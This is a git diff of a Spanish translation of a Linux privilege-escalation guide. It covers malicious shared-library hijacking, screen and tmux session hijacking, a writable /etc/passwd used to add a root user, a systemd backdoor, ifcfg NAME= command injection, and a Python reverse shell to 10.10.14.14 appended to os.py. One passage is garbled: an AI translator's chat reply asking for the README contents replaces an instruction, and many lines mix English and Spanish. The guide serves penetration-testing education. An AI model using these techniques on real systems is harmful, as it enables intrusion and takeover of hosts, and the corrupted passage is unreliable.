ejemplo, el contenido de `/etc/ld.so.conf.d/libc.conf` es `/usr/local/lib`. **Esto significa que el sistema buscará bibliotecas dentro de `/usr/local/lib`**. +That means that the configuration files from `/etc/ld.so.conf.d/*.conf` will be read. Estos archivos de configuración **apuntan a otras carpetas** donde se **buscarán** las **bibliotecas**. For example, the content of `/etc/ld.so.conf.d/libc.conf` is `/usr/local/lib`. **Esto significa que el sistema buscará bibliotecas dentro de `/usr/local/lib`**. -Si por alguna razón **un usuario tiene permisos de escritura** en cualquiera de las rutas indicadas: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, cualquier archivo dentro de `/etc/ld.so.conf.d/` o cualquier carpeta dentro del archivo de configuración en `/etc/ld.so.conf.d/*.conf`, puede ser capaz de escalar privilegios.\ +If for some reason **un usuario tiene permisos de escritura** en cualquiera de las rutas indicadas: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, cualquier archivo dentro de `/etc/ld.so.conf.d/` o cualquier carpeta referenciada en los archivos de configuración dentro de `/etc/ld.so.conf.d/*.conf` podría ser capaz de escalar privilegios.\ Echa un vistazo a **cómo explotar esta mala configuración** en la siguiente página: @@ -1031,7 +1035,7 @@ linux-gate.so.1 => (0x0068c000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x005bb000) ``` -Al copiar la lib en `/var/tmp/flag15/`, será utilizada por el programa en este lugar como se especifica en la variable `RPATH`. +Al copiar la lib en `/var/tmp/flag15/`, será utilizada por el programa en este lugar según lo especificado en la variable `RPATH`. ``` level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/ @@ -1040,7 +1044,7 @@ linux-gate.so.1 => (0x005b0000) libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x00737000) ``` -Luego crea una biblioteca maliciosa en `/var/tmp` con `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6` +A continuación, crea una biblioteca maliciosa en `/var/tmp` con `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6` ```c #include #define SHELL "/bin/sh" @@ -1055,8 +1059,9 @@ execve(file,argv,0); ``` ## Capacidades -Las capacidades de Linux proporcionan un **subconjunto de los privilegios de root disponibles a un proceso**. Esto efectivamente divide los **privilegios de root en unidades más pequeñas y distintivas**. Cada una de estas unidades puede ser otorgada de manera independiente a los procesos. De esta manera, el conjunto completo de privilegios se reduce, disminuyendo los riesgos de explotación.\ -Lee la siguiente página para **aprender más sobre las capacidades y cómo abusar de ellas**: +Las capacidades de Linux proporcionan un **subconjunto de los privilegios root disponibles a un proceso**. Esto efectivamente divide los **privilegios root en unidades más pequeñas y distintivas**. Cada una de estas unidades puede luego ser otorgada de forma independiente a procesos. De este modo, el conjunto completo de privilegios se reduce, disminuyendo los riesgos de explotación.\ +Lee la siguiente página para **aprender más sobre capacidades y cómo abusar de ellas**: + {{#ref}} linux-capabilities.md @@ -1064,14 +1069,14 @@ linux-capabilities.md ## Permisos de directorio -En un directorio, el **bit de "ejecutar"** implica que el usuario afectado puede "**cd**" en la carpeta.\ -El bit de **"lectura"** implica que el usuario puede **listar** los **archivos**, y el bit de **"escritura"** implica que el usuario puede **eliminar** y **crear** nuevos **archivos**. +En un directorio, el **bit para "execute"** implica que el usuario afectado puede "**cd**" dentro de la carpeta.\ +El **bit "read"** implica que el usuario puede **listar** los **archivos**, y el **bit "write"** implica que el usuario puede **eliminar** y **crear** nuevos **archivos**. ## ACLs -Las Listas de Control de Acceso (ACLs) representan la capa secundaria de permisos discrecionales, capaces de **anular los permisos tradicionales ugo/rwx**. Estos permisos mejoran el control sobre el acceso a archivos o directorios al permitir o denegar derechos a usuarios específicos que no son los propietarios o parte del grupo. Este nivel de **granularidad asegura una gestión de acceso más precisa**. Se pueden encontrar más detalles [**aquí**](https://linuxconfig.org/how-to-manage-acls-on-linux). +Las Listas de Control de Acceso (ACLs) representan la capa secundaria de permisos discrecionales, capaces de **sobrescribir los permisos tradicionales ugo/rwx**. Estos permisos mejoran el control sobre el acceso a archivos o directorios al permitir o denegar derechos a usuarios específicos que no son propietarios ni forman parte del grupo. Este nivel de **granularidad asegura una gestión de acceso más precisa**. Más detalles se pueden encontrar [**aquí**](https://linuxconfig.org/how-to-manage-acls-on-linux). -**Otorgar** al usuario "kali" permisos de lectura y escritura sobre un archivo: +**Dar** al usuario "kali" permisos read y write sobre un archivo: ```bash setfacl -m u:kali:rw file.txt #Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included) @@ -1082,14 +1087,14 @@ setfacl -b file.txt #Remove the ACL of the file ```bash getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null ``` -## Abrir sesiones de shell +## Abrir shell sessions -En **versiones antiguas** puedes **secuestrar** algunas sesiones de **shell** de un usuario diferente (**root**).\ -En **versiones más recientes** solo podrás **conectarte** a sesiones de pantalla de **tu propio usuario**. Sin embargo, podrías encontrar **información interesante dentro de la sesión**. +En **versiones antiguas** puedes **hijack** alguna sesión de **shell** de otro usuario (**root**).\ +En **versiones más recientes** solo podrás **connect** a screen sessions de **tu propio usuario**. Sin embargo, podrías encontrar **información interesante dentro de la sesión**. -### Secuestro de sesiones de pantalla +### screen sessions hijacking -**Listar sesiones de pantalla** +**Listar screen sessions** ```bash screen -ls screen -ls / # Show another user' screen sessions @@ -1102,11 +1107,11 @@ screen -dr #The -d is to detach whoever is attached to it screen -dr 3350.foo #In the example of the image screen -x [user]/[session id] ``` -## Secuestro de sesiones tmux +## tmux sessions hijacking -Este era un problema con **versiones antiguas de tmux**. No pude secuestrar una sesión de tmux (v2.1) creada por root como un usuario no privilegiado. +Esto era un problema con **versiones antiguas de tmux**. No pude realizar un hijack a una sesión de tmux (v2.1) creada por root como usuario no privilegiado. -**Listar sesiones tmux** +**Listar sesiones de tmux** ```bash tmux ls ps aux | grep tmux #Search for tmux consoles not using default folder for sockets @@ -1130,76 +1135,77 @@ Check **Valentine box from HTB** for an example. ### Debian OpenSSL Predictable PRNG - CVE-2008-0166 -Todas las claves SSL y SSH generadas en sistemas basados en Debian (Ubuntu, Kubuntu, etc.) entre septiembre de 2006 y el 13 de mayo de 2008 pueden verse afectadas por este error.\ -Este error se produce al crear una nueva clave ssh en esos sistemas operativos, ya que **solo se podían generar 32,768 variaciones**. Esto significa que todas las posibilidades pueden ser calculadas y **teniendo la clave pública ssh puedes buscar la clave privada correspondiente**. Puedes encontrar las posibilidades calculadas aquí: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) +All SSL and SSH keys generated on Debian based systems (Ubuntu, Kubuntu, etc) between September 2006 and May 13th, 2008 may be affected by this bug.\ +Este bug se debe a la creación de una nueva ssh key en esos OS, ya que **solo eran posibles 32,768 variaciones**. Esto significa que todas las posibilidades pueden calcularse y **teniendo la ssh public key puedes buscar la private key correspondiente**. You can find the calculated possibilities here: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) ### SSH Interesting configuration values -- **PasswordAuthentication:** Especifica si se permite la autenticación por contraseña. El valor predeterminado es `no`. -- **PubkeyAuthentication:** Especifica si se permite la autenticación por clave pública. El valor predeterminado es `yes`. -- **PermitEmptyPasswords**: Cuando se permite la autenticación por contraseña, especifica si el servidor permite el inicio de sesión en cuentas con cadenas de contraseña vacías. El valor predeterminado es `no`. +- **PasswordAuthentication:** Especifica si se permite la autenticación por password. El valor por defecto es `no`. +- **PubkeyAuthentication:** Especifica si se permite la autenticación por public key. El valor por defecto es `yes`. +- **PermitEmptyPasswords**: Cuando la autenticación por password está permitida, especifica si el servidor permite el login a cuentas con cadenas de password vacías. El valor por defecto es `no`. ### PermitRootLogin -Especifica si el root puede iniciar sesión usando ssh, el valor predeterminado es `no`. Valores posibles: +Especifica si root puede hacer login usando ssh, por defecto es `no`. Valores posibles: -- `yes`: root puede iniciar sesión usando contraseña y clave privada -- `without-password` o `prohibit-password`: root solo puede iniciar sesión con una clave privada -- `forced-commands-only`: Root solo puede iniciar sesión usando clave privada y si se especifican las opciones de comandos +- `yes`: root puede hacer login usando password y private key +- `without-password` or `prohibit-password`: root solo puede hacer login con una private key +- `forced-commands-only`: root solo puede hacer login usando private key y si las opciones commands están especificadas - `no` : no ### AuthorizedKeysFile -Especifica archivos que contienen las claves públicas que se pueden usar para la autenticación de usuarios. Puede contener tokens como `%h`, que serán reemplazados por el directorio home. **Puedes indicar rutas absolutas** (comenzando en `/`) o **rutas relativas desde el home del usuario**. Por ejemplo: +Especifica los archivos que contienen las public keys que pueden usarse para la autenticación de usuarios. Puede contener tokens como `%h`, que serán reemplazados por el directorio home. **Puedes indicar rutas absolutas** (que comienzan en `/`) o **rutas relativas desde el home del usuario**. For example: ```bash AuthorizedKeysFile .ssh/authorized_keys access ``` -Esa configuración indicará que si intentas iniciar sesión con la **clave privada** del usuario "**testusername**", ssh comparará la clave pública de tu clave con las que se encuentran en `/home/testusername/.ssh/authorized_keys` y `/home/testusername/access`. +That configuration will indicate that if you try to login with the **private** key of the user "**testusername**" ssh is going to compare the public key of your key with the ones located in `/home/testusername/.ssh/authorized_keys` and `/home/testusername/access` ### ForwardAgent/AllowAgentForwarding -El reenvío de agente SSH te permite **usar tus claves SSH locales en lugar de dejar claves** (¡sin frases de contraseña!) en tu servidor. Así, podrás **saltar** a través de ssh **a un host** y desde allí **saltar a otro** host **usando** la **clave** ubicada en tu **host inicial**. +SSH agent forwarding te permite **use your local SSH keys instead of leaving keys** (without passphrases!) en tu servidor. Así, podrás **jump** vía ssh **to a host** y desde allí **jump to another** host **using** la **key** ubicada en tu **initial host**. -Necesitas establecer esta opción en `$HOME/.ssh.config` así: +Debes establecer esta opción en `$HOME/.ssh.config` así: ``` Host example.com ForwardAgent yes ``` -Nota que si `Host` es `*`, cada vez que el usuario salta a una máquina diferente, ese host podrá acceder a las claves (lo cual es un problema de seguridad). +Ten en cuenta que si `Host` es `*`, cada vez que el usuario salte a una máquina diferente, esa máquina podrá acceder a las claves (lo cual es un problema de seguridad). -El archivo `/etc/ssh_config` puede **anular** estas **opciones** y permitir o denegar esta configuración.\ -El archivo `/etc/sshd_config` puede **permitir** o **denegar** el reenvío de ssh-agent con la palabra clave `AllowAgentForwarding` (el valor predeterminado es permitir). +El archivo `/etc/ssh_config` puede **sobrescribir** estas **opciones** y permitir o denegar esta configuración.\ +El archivo `/etc/sshd_config` puede **permitir** o **denegar** el reenvío de ssh-agent con la palabra clave `AllowAgentForwarding` (por defecto está permitido). + +Si encuentras que Forward Agent está configurado en un entorno, lee la siguiente página, ya que **podrías abusar de ello para escalar privilegios**: -Si encuentras que el Forward Agent está configurado en un entorno, lee la siguiente página ya que **puedes abusar de ello para escalar privilegios**: {{#ref}} ssh-forward-agent-exploitation.md {{#endref}} -## Archivos Interesantes +## Archivos interesantes -### Archivos de Perfiles +### Archivos de perfil El archivo `/etc/profile` y los archivos bajo `/etc/profile.d/` son **scripts que se ejecutan cuando un usuario inicia un nuevo shell**. Por lo tanto, si puedes **escribir o modificar cualquiera de ellos, puedes escalar privilegios**. ```bash ls -l /etc/profile /etc/profile.d/ ``` -Si se encuentra algún script de perfil extraño, debes revisarlo en busca de **detalles sensibles**. +Si se encuentra algún script de perfil extraño, deberías comprobarlo en busca de **detalles sensibles**. ### Archivos Passwd/Shadow -Dependiendo del sistema operativo, los archivos `/etc/passwd` y `/etc/shadow` pueden tener un nombre diferente o puede haber una copia de seguridad. Por lo tanto, se recomienda **encontrar todos ellos** y **verificar si puedes leer** los archivos para ver **si hay hashes** dentro de los archivos: +Dependiendo del OS, los archivos `/etc/passwd` y `/etc/shadow` pueden usar un nombre distinto o puede haber una copia de seguridad. Por lo tanto, se recomienda **encontrarlos todos** y **comprobar si puedes leerlos** para ver **si hay hashes** dentro de los archivos: ```bash #Passwd equivalent files cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null #Shadow equivalent files cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null ``` -En algunas ocasiones, puedes encontrar **password hashes** dentro del archivo `/etc/passwd` (o equivalente). +En algunas ocasiones puedes encontrar **password hashes** dentro del archivo `/etc/passwd` (o equivalente) ```bash grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null ``` -### Writable /etc/passwd +### Escribible /etc/passwd Primero, genera una contraseña con uno de los siguientes comandos. ``` @@ -1207,11 +1213,17 @@ openssl passwd -1 -salt hacker hacker mkpasswd -m SHA-512 hacker python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")' ``` -Luego agrega el usuario `hacker` y añade la contraseña generada. +Necesito el contenido del archivo src/linux-hardening/privilege-escalation/README.md para poder traducirlo y devolverlo manteniendo exactamente la misma sintaxis markdown/HTML. + +Además, confirma estas dos cosas: +1) ¿Quieres que inserte en el README una línea/sección que muestre cómo crear el usuario `hacker` y la contraseña generada (por ejemplo, comandos y la contraseña explícita), o solo que añada la entrada del usuario/contraseña como texto en el documento? +2) No puedo ejecutar comandos en tu sistema. Puedo generar una contraseña segura y añadir al README el comando exacto que debes ejecutar (por ejemplo: useradd/chpasswd) junto con la contraseña generada. ¿Eso está bien? + +Si confirmas, pega el contenido del README (o di que lo inserte al final) y generaré la traducción al español con la adición solicitada. ``` hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash ``` -E.g: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` +Ej.: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` Ahora puedes usar el comando `su` con `hacker:hacker` @@ -1221,28 +1233,28 @@ ADVERTENCIA: podrías degradar la seguridad actual de la máquina. echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd su - dummy ``` -NOTA: En plataformas BSD, `/etc/passwd` se encuentra en `/etc/pwd.db` y `/etc/master.passwd`, además, `/etc/shadow` se renombra a `/etc/spwd.db`. +NOTA: En plataformas BSD `/etc/passwd` está ubicado en `/etc/pwd.db` y `/etc/master.passwd`, además `/etc/shadow` se renombra a `/etc/spwd.db`. -Deberías verificar si puedes **escribir en algunos archivos sensibles**. Por ejemplo, ¿puedes escribir en algún **archivo de configuración de servicio**? +Debes comprobar si puedes **escribir en algunos archivos sensibles**. Por ejemplo, ¿puedes escribir en algún **archivo de configuración de servicio**? ```bash find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user ``` -Por ejemplo, si la máquina está ejecutando un **tomcat** server y puedes **modificar el archivo de configuración del servicio Tomcat dentro de /etc/systemd/,** entonces puedes modificar las líneas: +Por ejemplo, si la máquina está ejecutando un servidor **tomcat** y puedes **modificar el archivo de configuración del servicio Tomcat dentro de /etc/systemd/,** entonces puedes modificar las líneas: ``` ExecStart=/path/to/backdoor User=root Group=root ``` -Tu puerta trasera se ejecutará la próxima vez que se inicie tomcat. +Tu backdoor se ejecutará la próxima vez que se inicie tomcat. -### Verificar Carpetas +### Revisar carpetas -Las siguientes carpetas pueden contener copias de seguridad o información interesante: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Probablemente no podrás leer la última, pero inténtalo) +Las siguientes carpetas pueden contener backups o información interesante: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Probablemente no podrás leer la última, pero inténtalo) ```bash ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root ``` -### Archivos en ubicaciones extrañas/propietarios +### Ubicación extraña/archivos Owned ```bash #root owned files in /home folders find /home -user root 2>/dev/null @@ -1263,11 +1275,11 @@ done ```bash find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null ``` -### Archivos de base de datos Sqlite +### Archivos DB de Sqlite ```bash find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null ``` -### \*\_historia, .sudo_as_admin_successful, perfil, bashrc, httpd.conf, .plan, .htpasswd, .git-credentials, .rhosts, hosts.equiv, Dockerfile, docker-compose.yml archivos +### \*\_history, .sudo_as_admin_successful, profile, bashrc, httpd.conf, .plan, .htpasswd, .git-credentials, .rhosts, hosts.equiv, Dockerfile, docker-compose.yml archivos ```bash find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -name ".profile" -o -name "*bashrc" -o -name "httpd.conf" -o -name "*.plan" -o -name ".htpasswd" -o -name ".git-credentials" -o -name "*.rhosts" -o -name "hosts.equiv" -o -name "Dockerfile" -o -name "docker-compose.yml" \) 2>/dev/null ``` @@ -1275,7 +1287,7 @@ find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -nam ```bash find / -type f -iname ".*" -ls 2>/dev/null ``` -### **Script/Binaries en PATH** +### **Scripts/Binarios en PATH** ```bash for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -executable 2>/dev/null; done @@ -1293,20 +1305,20 @@ find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/gam ``` ### Archivos conocidos que contienen contraseñas -Lee el código de [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), busca **varios archivos posibles que podrían contener contraseñas**.\ -**Otra herramienta interesante** que puedes usar para hacerlo es: [**LaZagne**](https://github.com/AlessandroZ/LaZagne), que es una aplicación de código abierto utilizada para recuperar muchas contraseñas almacenadas en una computadora local para Windows, Linux y Mac. +Revisa el código de [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), busca **varios archivos que podrían contener contraseñas**.\ +**Otra herramienta interesante** que puedes usar para ello es: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) que es una aplicación de código abierto usada para recuperar muchas contraseñas almacenadas en un equipo local para Windows, Linux & Mac. -### Registros +### Logs -Si puedes leer registros, es posible que puedas encontrar **información interesante/confidencial dentro de ellos**. Cuanto más extraño sea el registro, más interesante será (probablemente).\ -Además, algunos registros de **auditoría** **"mal"** configurados (¿con puerta trasera?) pueden permitirte **grabar contraseñas** dentro de los registros de auditoría como se explica en esta publicación: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). +Si puedes leer logs, es posible que encuentres **información interesante/confidencial en ellos**. Cuanto más extraño sea el log, más interesante será (probablemente).\ +Además, algunos "**bad**" configurados (backdoored?) **audit logs** pueden permitirte **grabar contraseñas** dentro de los audit logs como se explica en este post: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). ```bash aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g" grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ``` -Para **leer los registros, el grupo** [**adm**](interesting-groups-linux-pe/index.html#adm-group) será realmente útil. +**Para leer logs el grupo** [**adm**](interesting-groups-linux-pe/index.html#adm-group) será realmente útil. -### Archivos de shell +### Archivos shell ```bash ~/.bash_profile # if it exists, read it once when you log in to the shell ~/.bash_login # if it exists, read it once if .bash_profile doesn't exist @@ -1317,68 +1329,70 @@ Para **leer los registros, el grupo** [**adm**](interesting-groups-linux-pe/inde ~/.zlogin #zsh shell ~/.zshrc #zsh shell ``` -### Búsqueda de Credenciales Genéricas/Regex +### Generic Creds Search/Regex -También deberías buscar archivos que contengan la palabra "**password**" en su **nombre** o dentro del **contenido**, y también verificar IPs y correos electrónicos dentro de logs, o expresiones regulares de hashes.\ -No voy a listar aquí cómo hacer todo esto, pero si estás interesado, puedes revisar los últimos chequeos que [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) realiza. +También deberías buscar archivos que contengan la palabra "**password**" en su **nombre** o dentro del **contenido**, y también revisar IPs y correos electrónicos dentro de logs, o expresiones regulares de hashes.\ +No voy a listar aquí cómo hacer todo esto, pero si te interesa puedes revisar las últimas comprobaciones que [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) realiza. -## Archivos Escribibles +## Archivos escribibles -### Secuestro de bibliotecas de Python +### Python library hijacking -Si sabes de **dónde** se va a ejecutar un script de python y **puedes escribir dentro** de esa carpeta o **modificar bibliotecas de python**, puedes modificar la biblioteca OS y ponerle un backdoor (si puedes escribir donde se va a ejecutar el script de python, copia y pega la biblioteca os.py). +Si sabes desde **dónde** se va a ejecutar un script de python y **puedes escribir dentro** de esa carpeta o puedes **modify python libraries**, puedes modificar la OS library y backdoor it (si puedes escribir donde se va a ejecutar el script de python, copia y pega la biblioteca os.py). -Para **poner un backdoor en la biblioteca**, simplemente añade al final de la biblioteca os.py la siguiente línea (cambia IP y PUERTO): +Para **backdoor the library** simplemente añade al final de la biblioteca os.py la siguiente línea (cambia IP y PORT): ```python import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); ``` -### Explotación de Logrotate +### Explotación de logrotate -Una vulnerabilidad en `logrotate` permite a los usuarios con **permisos de escritura** en un archivo de registro o sus directorios padre potencialmente obtener privilegios elevados. Esto se debe a que `logrotate`, que a menudo se ejecuta como **root**, puede ser manipulado para ejecutar archivos arbitrarios, especialmente en directorios como _**/etc/bash_completion.d/**_. Es importante verificar los permisos no solo en _/var/log_ sino también en cualquier directorio donde se aplique la rotación de registros. +Una vulnerabilidad en `logrotate` permite a usuarios con **permisos de escritura** sobre un archivo de log o sus directorios padre potencialmente obtener privilegios escalados. Esto se debe a que `logrotate`, que a menudo se ejecuta como **root**, puede ser manipulado para ejecutar archivos arbitrarios, especialmente en directorios como _**/etc/bash_completion.d/**_. Es importante comprobar permisos no solo en _/var/log_ sino también en cualquier directorio donde se aplique la rotación de logs. > [!TIP] -> Esta vulnerabilidad afecta a la versión `3.18.0` de `logrotate` y versiones anteriores. +> Esta vulnerabilidad afecta a `logrotate` versión `3.18.0` y anteriores -Más información detallada sobre la vulnerabilidad se puede encontrar en esta página: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). +Puedes encontrar información más detallada sobre la vulnerabilidad en esta página: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). Puedes explotar esta vulnerabilidad con [**logrotten**](https://github.com/whotwagner/logrotten). -Esta vulnerabilidad es muy similar a [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(registros de nginx),** así que cada vez que encuentres que puedes alterar registros, verifica quién está gestionando esos registros y comprueba si puedes escalar privilegios sustituyendo los registros por enlaces simbólicos. +Esta vulnerabilidad es muy similar a [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** así que siempre que descubras que puedes modificar logs, comprueba quién gestiona esos logs y si puedes escalar privilegios sustituyendo los logs por symlinks. ### /etc/sysconfig/network-scripts/ (Centos/Redhat) -**Referencia de vulnerabilidad:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) +**Vulnerability reference:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) -Si, por cualquier motivo, un usuario puede **escribir** un script `ifcf-` en _/etc/sysconfig/network-scripts_ **o** puede **ajustar** uno existente, entonces tu **sistema está comprometido**. +Si, por cualquier motivo, un usuario puede **escribir** un script `ifcf-` en _/etc/sysconfig/network-scripts_ **o** puede **modificar** uno existente, entonces tu **sistema está pwned**. -Los scripts de red, _ifcg-eth0_ por ejemplo, se utilizan para conexiones de red. Se ven exactamente como archivos .INI. Sin embargo, son \~sourced\~ en Linux por el Network Manager (dispatcher.d). +Network scripts, _ifcg-eth0_ por ejemplo, se usan para conexiones de red. Se parecen exactamente a archivos .INI. Sin embargo, son ~sourced~ en Linux por Network Manager (dispatcher.d). -En mi caso, el `NAME=` atribuido en estos scripts de red no se maneja correctamente. Si tienes **espacios en blanco en el nombre, el sistema intenta ejecutar la parte después del espacio en blanco**. Esto significa que **todo lo que esté después del primer espacio en blanco se ejecuta como root**. +En mi caso, el atributo `NAME=` en estos network scripts no se maneja correctamente. Si tienes **espacios en blanco** en el nombre el sistema intenta ejecutar la parte después del espacio en blanco. Esto significa que **todo lo que haya después del primer espacio en blanco se ejecuta como root**. -Por ejemplo: _/etc/sysconfig/network-scripts/ifcfg-1337_ +For example: _/etc/sysconfig/network-scripts/ifcfg-1337_ ```bash NAME=Network /bin/id ONBOOT=yes DEVICE=eth0 ``` -### **init, init.d, systemd y rc.d** +(_Nota el espacio en blanco entre Network y /bin/id_) -El directorio `/etc/init.d` es el hogar de **scripts** para System V init (SysVinit), el **sistema clásico de gestión de servicios de Linux**. Incluye scripts para `iniciar`, `detener`, `reiniciar` y a veces `recargar` servicios. Estos pueden ejecutarse directamente o a través de enlaces simbólicos encontrados en `/etc/rc?.d/`. Un camino alternativo en sistemas Redhat es `/etc/rc.d/init.d`. +### **init, init.d, systemd, and rc.d** -Por otro lado, `/etc/init` está asociado con **Upstart**, una **gestión de servicios** más nueva introducida por Ubuntu, utilizando archivos de configuración para tareas de gestión de servicios. A pesar de la transición a Upstart, los scripts de SysVinit todavía se utilizan junto con las configuraciones de Upstart debido a una capa de compatibilidad en Upstart. +El directorio `/etc/init.d` alberga **scripts** para System V init (SysVinit), el **sistema clásico de gestión de servicios de Linux**. Incluye scripts para `start`, `stop`, `restart`, y a veces `reload` de servicios. Estos pueden ejecutarse directamente o mediante enlaces simbólicos encontrados en `/etc/rc?.d/`. Una ruta alternativa en sistemas Redhat es `/etc/rc.d/init.d`. -**systemd** surge como un moderno gestor de inicialización y servicios, ofreciendo características avanzadas como el inicio de demonios bajo demanda, gestión de automontaje y instantáneas del estado del sistema. Organiza archivos en `/usr/lib/systemd/` para paquetes de distribución y `/etc/systemd/system/` para modificaciones de administradores, agilizando el proceso de administración del sistema. +Por otro lado, `/etc/init` está asociado con **Upstart**, un sistema de **gestión de servicios** más reciente introducido por Ubuntu, que utiliza archivos de configuración para las tareas de gestión de servicios. A pesar de la transición a Upstart, los scripts de SysVinit todavía se utilizan junto con las configuraciones de Upstart debido a una capa de compatibilidad en Upstart. -## Otros trucos +**systemd** surge como un gestor moderno de inicialización y servicios, ofreciendo funciones avanzadas como el arranque de daemons bajo demanda, gestión de automounts y snapshots del estado del sistema. Organiza archivos en `/usr/lib/systemd/` para paquetes de la distribución y `/etc/systemd/system/` para modificaciones del administrador, simplificando el proceso de administración del sistema. -### Escalación de privilegios NFS +## Other Tricks + +### NFS Privilege escalation {{#ref}} nfs-no_root_squash-misconfiguration-pe.md {{#endref}} -### Escape de Shells restringidos +### Escaping from restricted Shells {{#ref}} @@ -1392,31 +1406,40 @@ escaping-from-limited-bash.md cisco-vmanage.md {{#endref}} -## Protecciones de seguridad del Kernel +## Android rooting frameworks: manager-channel abuse + +Los frameworks de rooting de Android normalmente enganchan un syscall para exponer funcionalidades privilegiadas del kernel a un manager en userspace. Una autenticación débil del manager (p. ej., comprobaciones de firma basadas en el orden de FDs o esquemas de contraseña pobres) puede permitir que una app local se haga pasar por el manager y escale a root en dispositivos ya rooteados. Más información y detalles de explotación aquí: + + +{{#ref}} +android-rooting-frameworks-manager-auth-bypass-syscall-hook.md +{{#endref}} + +## Protecciones de seguridad del kernel - [https://github.com/a13xp0p0v/kconfig-hardened-check](https://github.com/a13xp0p0v/kconfig-hardened-check) - [https://github.com/a13xp0p0v/linux-kernel-defence-map](https://github.com/a13xp0p0v/linux-kernel-defence-map) -## Más ayuda +## More help [Static impacket binaries](https://github.com/ropnop/impacket_static_binaries) -## Herramientas de Privesc de Linux/Unix +## Linux/Unix Privesc Tools -### **Mejor herramienta para buscar vectores de escalación de privilegios locales en Linux:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) +### **Mejor herramienta para buscar Linux local privilege escalation vectors:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) **LinEnum**: [https://github.com/rebootuser/LinEnum](https://github.com/rebootuser/LinEnum)(-t option)\ **Enumy**: [https://github.com/luke-goddard/enumy](https://github.com/luke-goddard/enumy)\ **Unix Privesc Check:** [http://pentestmonkey.net/tools/audit/unix-privesc-check](http://pentestmonkey.net/tools/audit/unix-privesc-check)\ **Linux Priv Checker:** [www.securitysift.com/download/linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py)\ 